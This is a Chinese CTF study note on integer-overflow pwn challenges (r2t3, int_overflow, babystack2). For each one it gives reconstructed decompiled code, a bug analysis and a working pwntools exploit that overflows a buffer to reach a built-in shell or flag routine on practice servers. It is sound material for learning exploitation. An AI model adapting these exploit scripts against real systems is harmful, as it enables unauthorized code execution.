pwn刷题笔记(整数溢出)
[BJDCTF 2nd]r2t3
写出反汇编代码如下:
int ds:__bss_start;
int main(){
char buf[0x408 - 4]
int var[4];
my_init();
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("[+]Ret2text3.0?");
puts("[+]Please input your name:");
read(0, buf, 0x400)
name_check(buf);
puts("Welcome ,u win!");
}
my_init(){
setvbuf(ds:__bss_start, 0, 2, 0)
setvbuf(ds:__bss_start, 0, 1, 0)
}
name_check(s){
char dest[0x11 - 9];
char var_9[9];
var_9 = strlen(s);
if(var_9 <= 3 || var_9 > 8){
puts("Oops,u name is too long!");
exit();
}
printf("Hello,My dear %s", s)
strcpy(dest, s)
return
}
解析:main通过read获取输入,做了字符数的限制,无法对buf进行缓冲区溢出。
name_check函数,strlen(s)的值存放在al
al占8位,二进制全为1时十进制表示为255,超过255就发生溢出。利用这一点对strlen的结果做整数溢出。
整数溢出通过检查后便可对dest做缓冲区溢出。
有现成的system("/bin/sh")
写出payload
#!/usr/bin/env python3
from pwn import *
io = process("./r2t3")
system_addr = 0x0804858B
payload = b'a' * 0x11 + p32(0x1234) + p32(system_addr) + b'a' * 235
io.sendlineafter("Please input your name:", payload)
io.interactive()
攻防世界:int_overflow
checksec查看保护,开启了NX,32位程序。
根据汇编指令写出对应反汇编代码
int ds:stdin@@GLIBC_2_0;
int main(){
int var_c;
setbuf(ds:stdin@@GLIBC_2_0, 0);
setbuf(ds:stdin@@GLIBC_2_0, 0);
setbuf(ds:stdin@@GLIBC_2_0, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
scanf("%d", &var_C);
if(var_C == 1){
login();
return 0;
}
if(var_C == 2){
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
return 0;
}
login(){
char buf[0x228 - 0x28];
char s[0x28];
memset(s, 0, 0x20);
memset(s, 0, 0x200);
puts("Please input your username:");
read(0, s, 0x19);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199);
check_password(buf);
return;
}
check_password(s){
char dest[0x14 - 9];
char var_9[9];
var_9 = strlen(s);
if(var_9 <= 3 || var_9 > 8){
puts("Invalid Password");
return;
}
puts("Success");
strcpy(dest, s);
}
与上一题类似,区别是多了些交互信息,且system函数执行“cat flag”
payload如下:
#!/usr/bin/env python3
from pwn import *
io = remote("61.147.171.105", 59502)
system_addr = 0x804868B
io.sendlineafter("Your choice:", b'1')
io.sendlineafter("Please input your username:\n", b"username")
payload = b'a' * (0x14 + 4) + p32(system_addr) + b'a' * 234
io.recvuntil("Please input your passwd:\n")
io.sendline(payload)
print(io.recvall())
bjdctf_2020_babystack2
checksec查看保护,开启了NX
反汇编代码如下:
int main(){
char buf[0x10 - 4];
int nbytes;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name");
scanf("%d", &nbytes);
if(nbytes <= 0x0A){
puts("[+]What's u name?");
read(0, buf, nbytes);
return 0;
}
else{
puts("Oops,u name is too long!");
exit(0xFFFFFFFF);
}
}
read(fd, buffer, n)函数,其中第三个参数是size_t类型,即无符号整数。如果传入的参数是一个负数,read函数强制转换为size_n,结果会变成一个很大的数(整数溢出)。再对buf进行栈溢出攻击即可。
system("/bin/sh")入口地址可在ida查看。
#!/usr/bin/env python3
from pwn import *
io = remote("node4.buuoj.cn", 27833)
system_addr = 0x400726
io.sendlineafter("Please input the length of your name", b"-1") #输入-1,转换为size_t后变成4294967295
io.recvuntil("What's u name?")
payload = b'a' * (0x10 + 8) + p64(system_addr)
io.sendline(payload)
io.interactive()